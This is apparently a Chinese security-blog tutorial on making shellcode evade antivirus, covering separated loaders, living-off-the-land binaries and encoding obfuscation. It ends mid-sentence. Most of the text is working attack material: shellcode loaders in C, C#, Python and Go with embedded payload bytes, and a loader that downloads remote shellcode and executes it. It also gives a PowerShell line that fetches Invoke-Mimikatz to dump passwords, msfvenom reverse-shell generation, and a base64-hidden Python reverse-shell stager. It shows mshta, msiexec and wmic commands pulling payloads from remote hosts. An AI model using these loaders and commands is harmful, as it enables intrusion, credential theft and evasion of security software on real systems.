首發先知: https://xz.aliyun.com/t/7170
自己還是想把一些shellcode免殺的技巧通過白話文、傻瓜式的文章把技巧講清楚。希望更多和我一樣web狗也能動手做到免殺的實現。
文中我將shellcode免殺技巧分為 "分離“、”混淆“兩個大類,通過不同技巧針對不同檢測方式,也就是常聽到的特征檢測、行為檢測、雲查殺。
個人能力有限,文中出現錯誤還請斧正、輕噴。
0x01 那些shellcode"分離"免殺
首先來看看關於shellcode常用得C/C++加載方式
常見方式比如函數指針執行、內聯匯編指令、偽指令等方式。
但是這種shellcode明顯 和執行程序在一起很容易被查殺
所以大多數分離免殺的思想就是把執行shellcode和加載程序分開。
來看看常見的分離加載 拿C++舉例
正常使用像 VirtualAlloc 內存操作的函數執行shellcode :
#include "stdafx.h" #include "windows.h" using namespace std; int main(int argc, char **argv) { unsigned char buf[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f" "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5" "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a" "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"; void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, buf, sizeof buf); ((void(*)())exec)(); return 0; }
如果要把shellcode單獨分離 我們可以通過其他當時獲取到shellcode,而不是事先講shellcode寫死在程序中
舉例:shellcode從文本提取或從遠程下載獲取。
這里就把shellcode通過http請求(使用winhttp api)獲取賦值到內存緩存數組,動態分配內存執行shellcode:
#include "stdafx.h" #include <string> #include <iostream> #include <windows.h> #include <winhttp.h> #pragma comment(lib,"winhttp.lib") #pragma comment(lib,"user32.lib") using namespace std; void main() { DWORD dwSize = 0; DWORD dwDownloaded = 0; LPSTR pszOutBuffer = NULL; HINTERNET hSession = NULL, hConnect = NULL, hRequest = NULL; BOOL bResults = FALSE; hSession = WinHttpOpen(L"User-Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); if (hSession) { hConnect = WinHttpConnect(hSession, L"127.0.0.1", INTERNET_DEFAULT_HTTP_PORT, 0); } if (hConnect) { hRequest = WinHttpOpenRequest(hConnect, L"POST", L"qing.txt", L"HTTP/1.1", WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); } LPCWSTR header = L"Content-type: application/x-www-form-urlencoded/r/n"; SIZE_T len = lstrlenW(header); WinHttpAddRequestHeaders(hRequest, header, DWORD(len), WINHTTP_ADDREQ_FLAG_ADD); if (hRequest) { std::string data = "name=host&sign=xx11sad"; const void *ss = (const char *)data.c_str(); bResults = WinHttpSendRequest(hRequest, 0, 0, const_cast<void *>(ss), data.length(), data.length(), 0); ////bResults=WinHttpSendRequest(hRequest,WINHTTP_NO_ADDITIONAL_HEADERS, 0,WINHTTP_NO_REQUEST_DATA, 0, 0, 0 ); } if (bResults) { bResults = WinHttpReceiveResponse(hRequest, NULL); } if (bResults) { do { // Check for available data. dwSize = 0; if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError()); break; } if (!dwSize) break; pszOutBuffer = new char[dwSize + 1]; if (!pszOutBuffer) { printf("Out of memory\n"); break; } ZeroMemory(pszOutBuffer, dwSize + 1); if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) { printf("Error %u in WinHttpReadData.\n", GetLastError()); } else { printf("ok"); } //char ShellCode[1024]; int code_length = strlen(pszOutBuffer); char* ShellCode = (char*)calloc(code_length /2 , sizeof(unsigned char)); for (size_t count = 0; count < code_length / 2; count++){ sscanf(pszOutBuffer, "%2hhx", &ShellCode[count]); pszOutBuffer += 2; } printf("%s", ShellCode); //strcpy(ShellCode,pszOutBuffer); void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, ShellCode, sizeof ShellCode); ((void(*)())exec)(); delete[] pszOutBuffer; if (!dwDownloaded) break; } while (dwSize > 0); } if (hRequest) WinHttpCloseHandle(hRequest); if (hConnect) WinHttpCloseHandle(hConnect); if (hSession) WinHttpCloseHandle(hSession); system("pause"); }
看下查殺情況: 去除shellcode后火絨已經不殺了
類似這種遠程讀取中還有很多 ,類如powershell內存加載,相信各位也沒少用過
舉例:powershell遠程加載mimikatz讀取密碼
powershell IEX (New-Object Net.WebClient).DownloadString('

https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz >>c:\1.txt
類似的還有很多,不過這種用得很多內存加載有些殺軟還是攔的,怎么解決我們文后面再說。
其實到這里,用的最多的語言加載器的原理不用說也知道了,這里還是解釋下加載器,引用我同事對加載器的解釋:
shellcode就好比一杯水,加載器就是裝水的杯子,水倒進了杯子才可以喝,shellcode被加載器裝載后才可以執行。
A)那些加載器執行shellcode:
ssi:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.142 LPORT=4444 -f c > msf.txt No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of c file: 1457 bytes cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g" fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c77260789e8ffd0b89001000029c454506829806b00ffd56a0a68c0a8ae84680200115c89e6505050504050405068ea0fdfe0ffd5976a1056576899a57461ffd585c0740aff4e0875ece8670000006a006a0456576802d9c85fffd583f8007e368b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007d285868004000006a0050680b2f0f30ffd55768756e4d61ffd55e5eff0c240f8570ffffffe99bffffff01c329c675c1c3bbf0b5a2566a0053ffd5
shellcode_launcher:
c#加載:
using System; using System.Runtime.InteropServices; namespace TCPMeterpreterProcess { class Program { static void Main(string[] args) { // native function’s compiled code // generated with metasploit byte[] shellcode = new byte[333] { }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // prepare data IntPtr pinfo = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern bool CloseHandle(IntPtr handle); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); [DllImport("kernel32")] private static extern IntPtr GetModuleHandle( string moduleName ); [DllImport("kernel32")] private static extern UInt32 GetProcAddress( IntPtr hModule, string procName ); [DllImport("kernel32")] private static extern UInt32 LoadLibrary( string lpFileName ); [DllImport("kernel32")] private static extern UInt32 GetLastError(); } }
py加載:
import base64,sys; import ctypes whnd = ctypes.windll.kernel32.GetConsoleWindow() if whnd != 0: ctypes.windll.user32.ShowWindow(whnd, 0) ctypes.windll.kernel32.CloseHandle(whnd) exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4zMCcsODg4OCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
go內聯c加載:
package main import "C" import "unsafe" func main() { buf := "" buf += "xddxc6xd9x74x24xf4x5fx33xc9xb8xb3x5ex2c" ...省略... buf += "xc9xb1x97x31x47x1ax03x47x1ax83xc7x04xe2" // at your call site, you can send the shellcode directly to the C // function by converting it to a pointer of the correct type. shellcode := []byte(buf) C.call((*C.char)(unsafe.Pointer(&shellcode[0]))) }
資源加載:
CPLResourceRunner
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
用Cobalt Strike 生成shellcode
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)
py -2 ConvertShellcode.py beacon.bin
Shellcode written to shellcode.txt
0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48,0x8d,0x1d,0xea,0xff,0xff,0xff,0x48,0x89,0xdf,0x48,0x81,0xc3,0x7c,0x79,0x01,0x00,0xff,0xd3,0x41,0xb8,0xf0,0xb5,0xa2,0x56,0x68,0x04,0x00,0x00,0x00,0x5a,0x48,0x89,0xf9,0xff,0xd0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x00,0x00,0x00,0x0e,0x1f,0xba,0x0e,0x00,0xb4,0x09,0xcd,0x21,0xb8,0x01,0x4c,0xcd,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6f,0x67,0x72,0x61,0x6d,0x20,0x63,0x61,0x6e,0x6e,0x6f,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6e,0x20,0x69,0x6e,0x20,0x44,0x4f,0x53,0x20,0x6d,0x6f,0x64,0x65,0x2e,0x0d,0x0a,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc9,0xdb,0x6e,0xe9,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0x8d,0xba,0x00,0xba,0xeb,0x54,0xd2,0xba,0x15,0xba,0x00,0xba,0x13
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d 'n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt
H4sIAPGjM14AA/ONcgwK9eh86tH4RoGBgcGjV/bV////PTrvezQerqlkZPh/2XHHh62LwjJYgLJR
Hp0//19ggIEfQMwnv4uPYQvnWcUdjD5nFUMyMosVCory04sScxWSE/Py8ksUklIVikrzFDLzFFz8
gxVy81NS9Xi5VKBGnLyd97J3F8MuGH4dcmmXKJAWBgD9vO6hmAAAAA==
Compile to x86 and copy CPLResourceRunner.dll to RunMe.cpl
powershell加載(MMFml):
namespace mmfExeTwo { using System; using System.IO.MemoryMappedFiles; using System.Runtime.InteropServices; class Program { private delegate IntPtr NewDelegate(); // To handle the location by applying the appropriate type // We had to create a delegate to handle the the pointer to the location where we shim in the shellcode // into the Memory Mapped File. This allows the location of the opp code to be referenced later for execution private unsafe static IntPtr GetShellMemAddr() { // 64bit shell code. Tested on a win10 system. Injects "cmd -k calc" // was generated vanilla using "msfvenom -p windows/exec CMD="cmd /k calc" EXITFUNC=thread C -f powershell" var shellcode = new byte[] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00 }; MemoryMappedFile mmf = null; MemoryMappedViewAccessor viewaccessor = null; try { /* The try block creates the MMF and assigns the RWE permissions The view accessor is created with matching permissions the shell code from GetShellMemAddr is written to MMF then the pointer is gained and a delegate is created to handle pointer value so that it can be passed in therms of the returned function */ mmf = MemoryMappedFile.CreateNew("__shellcode", shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); viewaccessor = mmf.CreateViewAccessor(0, shellcode.Length, MemoryMappedFileAccess.ReadWriteExecute); viewaccessor.WriteArray(0, shellcode, 0, shellcode.Length); var pointer = (byte*)0; viewaccessor.SafeMemoryMappedViewHandle.AcquirePointer(ref pointer); var func = (NewDelegate)Marshal.GetDelegateForFunctionPointer(new IntPtr(pointer), typeof(NewDelegate)); return func(); } catch { return IntPtr.Zero; } finally // You should always clean up after yourself :) { viewaccessor.Dispose(); mmf.Dispose(); } } static void Main(string[] args) { GetShellMemAddr(); } } }
msfvenom -p windows/x64/exec CMD="cmd.exe -c calc.exe" -f csharp Invoke-MMFml
加載器就到這里吧,加載器的實現有能力可以自己造輪子,免殺效果非常不錯的。
B)Lolbins白利用加載shellcode
除了加載器這種"杯子和水"的分離的思想,個人認為還具有"分離"免殺思想的就是Lolbins,也就是白名單。
下面例舉一些白利用,這種分離多半是因為殺行為特征,比如你這個程序運行上下文不應該訪問某個api,這種就會被捕獲,而白利用就是繞過這種行為捕獲,而這種白利用中有的shellcode或執行文件還是會落地被查殺,這個文后部分會提到,先來看白利用。
LOLBins,全稱“Living-Off-the-Land Binaries”,直白翻譯為“生活在陸地上的二進制“,這個概念最初在2013年DerbyCon黑客大會由Christopher Campbell和Matt Graeber進行創造,最終Philip Goh提出了LOLBins這個概念。 說白了就是白利用 ,舉個例子
DarkHydrus APT樣本
MD5:B108412F1CDC0602D82D3E6B318DC634
使用到的啟動命令:cscript.exe “C:\Users\Public\Documents\ OfficeUpdateService.vbs”
這里就用了cscript加載vbs 添加開機啟動項,啟動腳本。
mshta:
payload: msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.174.134 LPORT=53 -f raw > shellcode.bin cat shellcode.bin |base64 -w 0 mshta.exe http://192.168.174.134 /qing.hta
替換模板:
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta
tshellcode替換位置:
Msiexec:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=4444 - f msi > qing.txt
C:\Windows\System32\msiexec.exe /q /i http://192.168.174.134 /qing.txt
加載dll:
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.174.134 LPORT=53 - f dll > qing.dll
msiexec /y C:\qing.dll
Msbuild:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe qing.xml
模板用三好師傅的:
https://github.com/3gstudent/msbuild-inline-task
Installutil
編譯: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.Ente rpriseServices.dll /r:System.IO.Compression.dll /target:library /out:qing.exe /keyfile:C:\Users\John\Desktop\installutil.snk /unsafe C:\Users\John\Desktop\installutil.cs 執行: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U qing.exe 詳細: https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/
wmic:
wmic os get /FORMAT:"http://example.com/evil.xsl" 模板: https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl
csc:
msfvenom ‐p windows/x64/shell/reverse_tcp LHOST=192.168.174.132 LPORT=53 ‐ f csharp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
通過IInstallutil執行即可
白利用就不列舉更多了,其他一些白利用也是一個道理,那么問題來了,前面說的白利用執行某些時候我們的shellcode生成的exe或者dll還是會落地,
雖然前面說的內存加載可以解決這個問題,那假設必須落地,怎么逃過各種檢測呢?
這就是我歸為免殺的第二個方式大類,混淆免殺。
0x02 那些shellcode"混淆"免殺
shellcode是否可以像php一句話那樣混淆、加密、拆分呢
還是從最簡單的舉例子開始
A)shellcode編碼混淆
xor異或加密shellcode后,申請內存執行,和文開頭執行shell從的方式無區別
這里拿C# xor為例子(ShellcodeWrapper):
using System; using System.IO; using System.Collections.Generic; using System.Text; using System.Threading.Tasks; using System.Security.Cryptography; using System.Runtime.InteropServices; namespace RunShellCode { static class Program { //============================================================================== // CRYPTO FUNCTIONS //============================================================================== private static T[] SubArray<T>(this T[] data, int index, int length) { T[] result = new T[length]; Array.Copy(data, index, result, 0, length); return result; } private static byte[] xor(byte[] cipher, byte[] key) { byte[] decrypted = new byte[cipher.Length]; for(int i = 0; i < cipher.Length; i++) { decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]); } return decrypted; } //-------------------------------------------------------------------------------------------------- // Decrypts the given a plaintext message byte array with a given 128 bits key // Returns the unencrypted message //-------------------------------------------------------------------------------------------------- private static byte[] aesDecrypt(byte[] cipher, byte[] key) { var IV = cipher.SubArray(0, 16); var encryptedMessage = cipher.SubArray(16, cipher.Length - 16); // Create an AesManaged object with the specified key and IV. using (AesManaged aes = new AesManaged()) { aes.Padding = PaddingMode.PKCS7; aes.KeySize = 128; aes.Key = key; aes.IV = IV; using (MemoryStream ms = new MemoryStream()) { using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write)) { cs.Write(encryptedMessage, 0, encryptedMessage.Length); } return ms.ToArray(); } } } //============================================================================== // MAIN FUNCTION //============================================================================== static void Main() { byte[] encryptedShellcode = new byte[] { 0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa,0x39,0x5e,0xec,0x23,0x65,0xe5,0x35,0x65,0xe2,0x1c,0x4f,0x7e,0xde,0x24,0x41,0x40,0x96,0xc2,0x5b,0x10,0x15,0x6c,0x4b,0x51,0xa8,0xa1,0x6a,0x70,0xae,0x8c,0x95,0x23,0x3e,0xe5,0x35,0x61,0xe2,0x24,0x5b,0xfa,0x25,0x7f,0x1f,0x92,0x21,0x6f,0xb6,0x20,0xe2,0x37,0x47,0x70,0xba,0xe5,0x2e,0x69,0x8a,0x54,0x2e,0xfa,0x5d,0xe5,0x66,0xa7,0x58,0x91,0xcb,0xb0,0xa6,0x63,0x66,0xb6,0x51,0x8e,0x12,0x87,0x6a,0x13,0x9f,0x4a,0x14,0x4a,0x12,0x95,0x31,0xe5,0x3f,0x55,0x68,0xbd,0x01,0xfa,0x65,0x25,0xec,0x29,0x75,0x6f,0xb4,0xfa,0x6d,0xe5,0x66,0xa1,0xe0,0x2a,0x43,0x55,0x32,0x35,0x06,0x28,0x33,0x3f,0x98,0x91,0x36,0x31,0x3d,0xfa,0x7b,0x85,0xea,0x2c,0x01,0x5d,0x55,0x71,0x69,0x06,0x10,0x02,0x5b,0x31,0x33,0x19,0x25,0x19,0x41,0x76,0xe0,0x86,0x98,0xa1,0xd1,0xfe,0x66,0x71,0x69,0x47,0xa3,0x25,0x39,0x06,0x4e,0xf1,0x02,0x6e,0x98,0xa4,0x03,0x64,0x0f,0xb1,0xc1,0xc0,0xe9,0x19,0x6b,0x6e,0x76,0x2d,0xe0,0x88,0x37,0x21,0x39,0x3e,0x27,0x21,0x29,0x3e,0x0f,0x9b,0x66,0xb1,0x87,0x8e,0xbc,0xf9,0x0d,0x61,0x3f,0x39,0x0f,0xe8,0xcc,0x1a,0x06,0x8e,0xbc,0xeb,0xa7,0x05,0x63,0x91,0x29,0x79,0x1c,0x82,0x8f,0x16,0x69,0x6e,0x67,0x1b,0x69,0x04,0x63,0x27,0x3e,0x06,0x65,0xa8,0xa1,0x31,0x98,0xa4,0xea,0x96,0x67,0x0f,0x5f,0xe5,0x51,0x1b,0x29,0x06,0x67,0x61,0x69,0x6e,0x31,0x1b,0x69,0x06,0x3f,0xd5,0x3a,0x8b,0x98,0xa4,0xfa,0x3d,0x0d,0x71,0x3f,0x3d,0x30,0x19,0x6b,0xb7,0xaf,0x2e,0x96,0xbb,0xe4,0x89,0x69,0x13,0x4f,0x29,0x01,0x6e,0x27,0x71,0x69,0x04,0x67,0x21,0x01,0x65,0x48,0x7e,0x59,0x91,0xb2,0x26,0x01,0x1b,0x09,0x3c,0x08,0x91,0xb2,0x2f,0x37,0x91,0x6b,0x55,0x66,0xeb,0x17,0x8e,0x96,0x91,0x8e,0xea,0x96,0x91,0x98,0x70,0xaa,0x47,0xa1,0x04,0xa8,0xad,0xdc,0x81,0xdc,0xcc,0x31,0x1b,0x69,0x3d,0x98,0xa4 }; string key = "qing"; string cipherType = "xor"; byte[] shellcode = null; //-------------------------------------------------------------- // Decrypt the shellcode if (cipherType == "xor") { shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key)); } else if (cipherType == "aes") { shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key)); } //-------------------------------------------------------------- // Copy decrypted shellcode to memory UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // Prepare data IntPtr pinfo = IntPtr.Zero; // Invoke the shellcode hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; // The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject [DllImport("kernel32")] private static extern UInt32 VirtualAlloc( UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect ); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); } }
其他語言也是一樣,比如py 異或編碼、base64、十六進制這些都是可以的
py Base64(k8gege):
import ctypes import sys import base64 #calc.exe #REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA== shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
py 十六進制(k8gege):
#scrun by k8gege import ctypes import sys #calc.exe #sc = "DBC3D97424F4BEE85A27135F31C9B13331771783C704039F49C5E6A38680095B57F380BE6621F6CBDBF57C99D77ED00963F2FD3EC4B9DB71D50FE4DD1511981F4AF1A1D09FF0E60C6FA0BF5BC255CB19DF541B165F2F1EE81485213884926AA0AEFD4AD1631EB69808D54C1BD927AC2A25EB9383A8F5D42353802E50EE93F42B3411E98BBF81C92A13579920D813C524DFF07D5054F751D12EDC75BAF57D2F665B812FCE04273BFC5151666AA7D31CD3A7EB1E73C0DA951C97E27F5967A922CBE074B74E6D876D8C8804846C6F14ED692B921D03247722B045524157D63EA8F25EA4B4" shellcode=bytearray(sys.argv[1].decode("hex")) ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
還有一款編碼的工具也好用,安利一下:
https://github.com/ecx86/shellcode_encoder
那么這是利用語言對shellcode編碼,也可以選擇生成的時候對shellcode編碼。
舉例msfvenom:
